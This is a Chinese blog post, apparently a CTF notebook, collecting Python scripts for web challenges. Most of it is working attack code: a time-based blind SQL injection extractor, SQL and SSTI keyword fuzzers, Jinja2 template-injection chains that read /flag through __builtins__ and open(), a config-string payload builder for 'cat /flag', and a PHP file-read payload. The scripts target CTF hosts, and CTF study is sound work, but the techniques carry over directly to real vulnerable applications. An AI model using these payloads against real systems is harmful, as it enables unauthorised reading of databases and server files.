CTF-WEB-Python脚本汇总

知识

1.1 时间盲注

时间盲注

1.2 根据页面内容快速请求

import requests
import time
session = requests.Session()    #设置会话

url = "http://localhost:53857/"  #接受网址

def car():               #定义函数
    data = {            #设置参数
        "driver": "1",
        "steering_control": "0",
        "throttle": "2"
    }
    for _ in range(0, 7):       #进入循环7次
        time.sleep(0.1)         #间隔0.1s
        ret = session.post(url, data=data)  #设置POST请求
        print(data)          #打印数据

        if "弯道向右" in ret.text:                    #判断响应中是否存在可疑字样
            data["steering_control"] = "-1"
            print("弯道向右")
        if "弯道直行" in ret.text:
            data["steering_control"] = "0"
            print("弯道直行")
        if "弯道向左" in ret.text:
            data["steering_control"] = "1"
            print("弯道向左")
        if "抓地力太大了!" in ret.text:
            data["throttle"] = "2"
            print("抓地力太大了!")
        if "保持这个速度" in ret.text:
            data["throttle"] = "1"
            print("保持这个速度")
        if "抓地力太小了!" in ret.text:
            data["throttle"] = "0"
            print("抓地力太小了!")
        if "失误了!别紧张,车手,重新来过吧" in ret.text:
            print("失误了!别紧张,车手,重新来过吧")
            return 0
        if "moectf{" in ret.text:      #判断是否成功
            print(ret.text)
            return 1

car()    #调用函数

1.3 根据开头和结尾解密MD5哈希值

import hashlib


def find_collision(target_hash):
    prefix = '2022'
    suffix = 'CNSS'
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

    chars_between = 1  # 初始字符数量

    while True:
        for combination in generate_combinations(charset, chars_between):
            candidate = prefix + combination + suffix
            candidate_hash = hashlib.md5(candidate.encode()).hexdigest()

            if candidate_hash == target_hash:
                return candidate

        chars_between += 1


def generate_combinations(charset, length):
    if length == 0:
        yield ''
        return

    for char in charset:
        for sub_combination in generate_combinations(charset, length - 1):
            yield char + sub_combination


# 要寻找的目标哈希值
target_hash = 'a5e8a02c361fb593dae3f3ee3256de0f'
collision = find_collision(target_hash)

if collision:
    print(f"Collision found: {collision}")
else:
    print("Collision not found.")

1.4 根据表名和字段名爆出flag

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import requests
from optparse import OptionParser
import time
import threading

# 存放数据库名变量
DBName = ""
# 存放数据库表变量
DBTables = []
# 存放数据库字段变量
DBColumns = []
# 存放数据字典变量,键为字段名,值为字段数据列表
DBData = {}

# 设置重连次数以及将连接改为短连接
# 防止因为HTTP连接数过多导致的 Max retries exceeded with url
requests.adapters.DEFAULT_RETRIES = 5
conn = requests.session()
conn.keep_alive = False


def woqv(url):
    a = ""
    print("[-]开始获取字段名")
    # 用for循环来遍历请求,得到数据库名长度
    for ll in range(1, 50):
        for kk in range(33, 127):
            time.sleep(0.05)
            # 开始时间
            timeStart = time.time()
            payload = "if((ascii(substr((select(flag)from(flag))," + str(ll) + ",1))=" + str(kk) + "),sleep(5),0)"
            # "admin' and if(length(database())=8,sleep(5),0) #"
            data = {
                'id': payload,
            }
            res = conn.post(url, data=data)
            # 结束时间
            timeEnd = time.time()
            # 判断时间差
            if timeEnd - timeStart >= 5:
                a += chr(kk)
                print(a)
                break


# 盲注主函数
def StartSqli(url):
    woqv(url)


if __name__ == '__main__':
    try:
        usage = "./BlindTime_get.py -u url"
        parser = OptionParser(usage)
        # 目标URL参数-u
        parser.add_option('-u', '--url', dest='url',
                          default='http://node4.anna.nssctf.cn:28079/', type='string',
                          help='target URL')
        options, args = parser.parse_args()
        url = options.url
        threadSQL = threading.Thread(target=StartSqli, args=(url,))
        threadSQL.start()
    except KeyboardInterrupt:
        print("Interrupted by keyboard inputting!!!")

1.5 SQL-fuzz测试

GET

import requests
import time

fuzz=['length ','+','handler','like','select','sleep','database','delete','having','or','as','-~','BENCHMARK','limit','left','select','insert'
,'sys.schema_auto_increment_columns','join','right','#','&','&&','\\','handler','---','--','--+','INFORMATION','--',';','!','%','+','xor','<>'
,'(','>','<',')','.','^','=','AND','BY','CAST','COLUMN','COUNT','CREATE','END','case',"'1'='1'",'when',"admin'",'length','+','REVERSE','ascii'
,'select','database','left','right','union','||','oorr','/','//','//*','*/*','/**/','anandd','GROUP','HAVING','IF','INTO','JOIN','LEAVE','LEFT'
,'LEVEL','sleep','LIKE','NAMES','NEXT','NULL','OF','ON','|','infromation_schema','user','OR','ORDER','ORD','SCHEMA','SELECT','SET','TABLE','THEN'
,'UPDATE','USER','USING','VALUE','VALUES','WHEN','WHERE','ADD','AND','prepare','set','update','delete','drop','inset','CAST','COLUMN','CONCAT'
,'GROUP_CONCAT','group_concat','CREATE','DATABASE','DATABASES','alter','DELETE','DROP','floor','rand()','information_schema.tables','TABLE_SCHEMA'
,'%df','concat_ws()','concat','LIMIT','ORD','ON'
,'extractvalue','order','CAST()','by','ORDER','OUTFILE','RENAME','REPLACE','SCHEMA','SELECT','SET','updatexml','SHOW','SQL','TABLE','THEN','TRUE','instr'
,'benchmark','format','bin','substring','ord','UPDATE','VALUES','VARCHAR','VERSION','WHEN','WHERE','/*','`',',','users','%0a','%0b','mid','for','BEFORE','REGEXP'
,'RLIKE','in','sys schemma','SEPARATOR','XOR','CURSOR','FLOOR','sys.schema_table_statistics_with_buffer','INFILE','count','%0c','from','%0d','%a0','=','@','else']
for i in fuzz:
    res = requests.get('http://ce217cf2-f657-48b4-a373-77094fc56254.node4.buuoj.cn:81/?wllm={0}'.format(i))
    if 'no' in res.text:
        print(i)
    time.sleep(0.05)

POST

import requests
import time

fuzz = [
    'length', '+', 'handler', 'like', 'select', 'sleep', 'database', 'delete', 'having', 'or', 'as', '-~', 'BENCHMARK', 'limit', 'left', 'select', 'insert',
    'sys.schema_auto_increment_columns', 'join', 'right', '#', '&', '&&', '\\', 'handler', '---', '--', '--+', 'INFORMATION', '--', ';', '!', '%', '+', 'xor', '<>',
    '(', '>', '<', ')', '.', '^', '=', 'AND', 'BY', 'CAST', 'COLUMN', 'COUNT', 'CREATE', 'END', 'case', "'1'='1'", 'when', "admin'", 'length', '+', 'REVERSE',
    'ascii', 'select', 'database', 'left', 'right', 'union', '||', 'oorr', '/', '//', '//*', '*/*', '/**/', 'anandd', 'GROUP', 'HAVING', 'IF', 'INTO', 'JOIN', 'LEAVE', 'LEFT',
    'LEVEL', 'sleep', 'LIKE', 'NAMES', 'NEXT', 'NULL', 'OF', 'ON', '|', 'infromation_schema', 'user', 'OR', 'ORDER', 'ORD', 'SCHEMA', 'SELECT', 'SET', 'TABLE', 'THEN',
    'UPDATE', 'USER', 'USING', 'VALUE', 'VALUES', 'WHEN', 'WHERE', 'ADD', 'AND', 'prepare', 'set', 'update', 'delete', 'drop', 'inset', 'CAST', 'COLUMN', 'CONCAT',
    'GROUP_CONCAT', 'group_concat', 'CREATE', 'DATABASE', 'DATABASES', 'alter', 'DELETE', 'DROP', 'floor', 'rand()', 'information_schema.tables', 'TABLE_SCHEMA',
    '%df', 'concat_ws()', 'concat', 'LIMIT', 'ORD', 'ON',
    'extractvalue', 'order', 'CAST()', 'by', 'ORDER', 'OUTFILE', 'RENAME', 'REPLACE', 'SCHEMA', 'SELECT', 'SET', 'updatexml', 'SHOW', 'SQL', 'TABLE', 'THEN', 'TRUE', 'instr',
    'benchmark', 'format', 'bin', 'substring', 'ord', 'UPDATE', 'VALUES', 'VARCHAR', 'VERSION', 'WHEN', 'WHERE', '/*', '`', ',', 'users', '%0a', '%0b', 'mid', 'for', 'BEFORE', 'REGEXP',
    'RLIKE', 'in', 'sys schemma', 'SEPARATOR', 'XOR', 'CURSOR', 'FLOOR', 'sys.schema_table_statistics_with_buffer', 'INFILE', 'count', '%0c', 'from', '%0d', '%a0', '=', '@', 'else'
]

url = 'http://node4.anna.nssctf.cn:28079/'

for i in fuzz:
    payload = {'id': i}
    res = requests.post(url, data=payload)
    if 'Injection' in res.text:
        print(i)
    time.sleep(0.05)

1.6 指定MD5值的开头

# 指定MD5值的开头
import hashlib

prefix = "c4d038"
counter = 0

while True:
    input_string = str(counter)
    md5_hash = hashlib.md5(input_string.encode()).hexdigest()

    if md5_hash.startswith(prefix):
        print(f"Found a match: Input string '{input_string}' has an MD5 hash starting with '{prefix}'")
        break

    counter += 1
    
#Found a match: Input string '114514' has an MD5 hash starting with 'c4d038'    

1.7 简单的网页请求学习

1 给URL同时设置GET\POSTC\ookie

import requests

url = 'http://8.130.29.197:6001?web=like'
data = {'CNSS': 'join'}
cookies = {'flag': '1'}
x = requests.post(url, data=data, cookies=cookies)
print(x.text)

2 设置POST+匹配flag

//POST/匹配字符
import requests
import time

localtime = time.asctime( time.localtime(time.time()) )

url = 'http://node4.anna.nssctf.cn:28668/code/'
data = {'url': 'compress.zlib://data:@baidu.com/baidu.com?,echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));'}

while 1:
    response = requests.post(url, data=data).text
    if 'NSS' in response:
        print('flag:'+response+"\n",localtime)
        break
        
//不知道为什么一直没有跑出来,我去浏览器的`Network`页面按了一下`ctrl+r`突然又跑出来了

3 设置headers

import requests
import string
url ='http://1841ffe8-a710-4d90-b45a-1533e9692ee3.challenge.ctf.show/?name={%set aaa=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%if aaa.eval(request.cookies.x5)==request.cookies.x6%}1341{%endif%}'
s=string.digits+string.ascii_lowercase+"{-}"#s 的值是包含数字、小写字母以及 {、-、} 这五个字符的字符串
flag=''
for i in range(1,50):
	print(i)
	for j in s:
		x=flag+j
		headers={'Cookie':'''x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=open('/flag').read({0});x6={1}'''.format(i,x)}
		r=requests.get(url,headers=headers)
		#print(r.text)
		if("1341" in r.text):
			flag=x
			print(flag)
			break

1.8 计算两个数的加法

[0x00] 脚本

import requests
import re

url = 'http://8.130.29.197:6003/'

get = requests.get(url)
cookies = get.cookies

# 正则匹配出乘法式子, a*b, 再通过split分割成两个数, 转为int乘出结果
# 格式: <p>22159793*39616436=</p><form method="post">
equation = re.findall(r'<p>(.*?)=</p><form method="post">', get.text)[-1]
a, b = equation.split('*')
ans = int(a)*int(b)

post = requests.post(url, data={'res': ans}, cookies=cookies)

print(post.text)

[0x01]关键分析

get = requests.get(url):发送一个HTTP GET请求到指定的URL,并将服务器的响应存储在get变量中。这个操作获取了目标网页的内容。

cookies = get.cookies:从HTTP GET请求的响应中提取出cookies,并将它们存储在变量cookies中

equation = re.findall(r'<p>(.*?)=</p><form method="post">', get.text)[-1]:使用正则表达式从HTTP GET响应文本中找到匹配的乘法式子
r 前缀用于指示 Python 解释器将字符串视为原始字符串,而不会对其中的特殊字符进行转义处理,这在处理正则表达式时很有用

a, b = equation.split(‘*’):使用split()方法将乘法式子分割成两个数,并将它们存储在变量a和b中。这里假设乘法式子的格式是"a*b"。

使用requests库发送一个POST请求到同一URL,同时提交答案(乘积)作为数据('res’参数),并附带之前获取到的Cookies。

[0x02] Python—re正则表达式\

2. SSTI相关脚本

1.1找到可用类的位置–GET–POST

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
#http请求头,可以用抓包工具抓一份自己的。
for i in range(500):
    url = "http://xxx.xxx.xxx.xxx:xxxx/?get参数={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"

    res = requests.get(url=url,headers=headers)
    if 'FileLoader' in res.text: #以FileLoader为例
        print(i)

# 得到编号为79
import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
#http请求头,可以用抓包工具抓一份自己的。
for i in range(500):
    url = "http://xxx.xxx.xxx.xxx:xxxx/"
    postPara = {"post参数":"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
    res = requests.post(url=url,headers=headers,data=postPara)
    if 'FileLoader' in res.text: #以FileLoader为例,查找其他命令时就用其他子类
        print(i)

# 得到编号为79

1.2 字符串拼接构造脚本(利用config)

#字符串拼接构造脚本
import requests
url="http://c878690a-7509-4882-84ae-d5e35328f6ce.challenge.ctf.show/?name={{% print (config|string|list).pop({}).lower() %}}"

payload="cat /flag"
result=""
for j in payload:
    for i in range(0,1000):
        r=requests.get(url=url.format(i))
        location=r.text.find("<h3>")
        word=r.text[location+4:location+5]
        if word==j.lower():
            print("(config|string|list).pop(%d).lower()  ==  %s"%(i,j))
            result+="(config|string|list).pop(%d).lower()~"%(i)
            break
print(result[:len(result)-1])

1.3 数字半角–》全角

①普通替换脚本
#替换脚本
def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
while 1:
    t = ''
    s = input("输入想要转换的数字字符串:")
    for i in s:
        t += half2full(i)
    print(t)

②chr字符+替换
#chr字符--半角转全角脚本

def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
string = input("你要输入的字符串:")
result = ''
def str2chr(s):
    global  result
    for i in s:
        result += "chr("+half2full(str(ord(i)))+")%2b"
        # %2b->+
str2chr(string)
print(result[:-3])

1.4 SSTI–fuzz

import requests
from time import sleep
dic = [' ',' 666', '"', '""', '"666"', '%1d', '%1e', '%1f', '%20', "'", "''", "'666'", '(', '*', '+', '.', '/', '0', '00', '1', '2', '3', '4', '5', '6', '7', '8', '9', '<', '=', '>', 'app', 'arg', 'args', 'base', 'bases', 'builtins', 'call', 'chr', 'class', 'config', 'end', 'eval', 'exec', 'file', 'flag', 'for', 'form', 'func_globals', 'g', 'get', 'getitem', 'global', 'globals', 'if', 'import', 'include', 'init', 'length', 'linecache', 'lipsum', 'list', 'module', 'mro', 'name', 'namespace', 'open', 'os', 'path', 'pop', 'popen', 'posix', 'read', 'request', 'self', 'session', 'set', 'slice', 'string', 'subclasses', 'subprocess', 'system', 'url', 'url_for', 'value', 'values', '[', '\\', '\\x', ']', '_', '{{', '}}', '~', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']

pass_dic = ''
for i in dic:
    url = "http://node4.anna.nssctf.cn:28928/test?url={}".format(i)
    res = requests.get(url=url,timeout=5).text    # print(res)
    sleep(0.5)
    if 'do a real p1g' in res:
        pass_dic += i + ','
        print(pass_dic)

3.1 正则表达式要素提取–较完整的脚本

import re

# 输入的字符串
input_string = "flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\("

# 使用正则表达式匹配并拆分字符串
pattern = re.compile(r'\|')
result_list = re.split(pattern, input_string)

# 创建一个字典,将带有\的字符串中的\删除
result_dict = {item: item.replace('\\', '') for item in result_list}

# 遍历字典并打印结果,设置不换行
for key, value in result_dict.items():
    if value == ' ':
        print('空格', end=' ')
    else:
        print(value, end=' ')

#flag system php cat sort shell . 空格 ' ` echo ; ( 
  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小蜗牛狂飙记

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值